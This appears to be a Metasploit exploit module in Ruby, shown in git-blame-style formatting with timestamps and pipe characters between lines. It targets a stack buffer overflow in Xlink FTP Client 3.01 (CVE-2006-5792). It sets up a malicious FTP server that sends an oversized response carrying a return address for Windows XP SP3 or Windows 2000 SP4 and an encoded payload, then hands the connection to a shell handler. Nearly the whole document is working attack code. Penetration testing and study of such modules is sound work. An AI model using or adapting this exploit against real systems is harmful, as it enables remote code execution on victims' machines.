2009-10-03 23:05:44 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-10-03 23:05:44 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2009-10-03 23:05:44 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Xlink FTP Client Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Xlink FTP Client 32
|
2010-04-30 08:40:19 +00:00
|
|
|
Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
|
|
|
|
When a overly long FTP server response is recieved by a client,
|
|
|
|
arbitrary code may be executed.
|
2009-10-03 23:05:44 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-10-12 14:39:51 +00:00
|
|
|
[ 'CVE', '2006-5792' ],
|
|
|
|
[ 'OSVDB', '33969' ],
|
2009-10-03 23:05:44 +00:00
|
|
|
[ 'URL', 'http://www.metasploit.com/' ],
|
|
|
|
[ 'URL', 'http://www.xlink.com' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 550,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\().,",
|
|
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7ce02a2d } ],
|
2009-10-03 23:05:44 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Oct 3 2009',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2009-10-03 23:05:44 +00:00
|
|
|
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_connect(client)
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
2009-10-03 23:05:44 +00:00
|
|
|
|
|
|
|
sploit = rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded
|
|
|
|
sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"
|
|
|
|
|
|
|
|
print_status("Sending #{self.name}...")
|
|
|
|
client.put(sploit)
|
|
|
|
|
|
|
|
handler(client)
|
|
|
|
service.close_client(client)
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|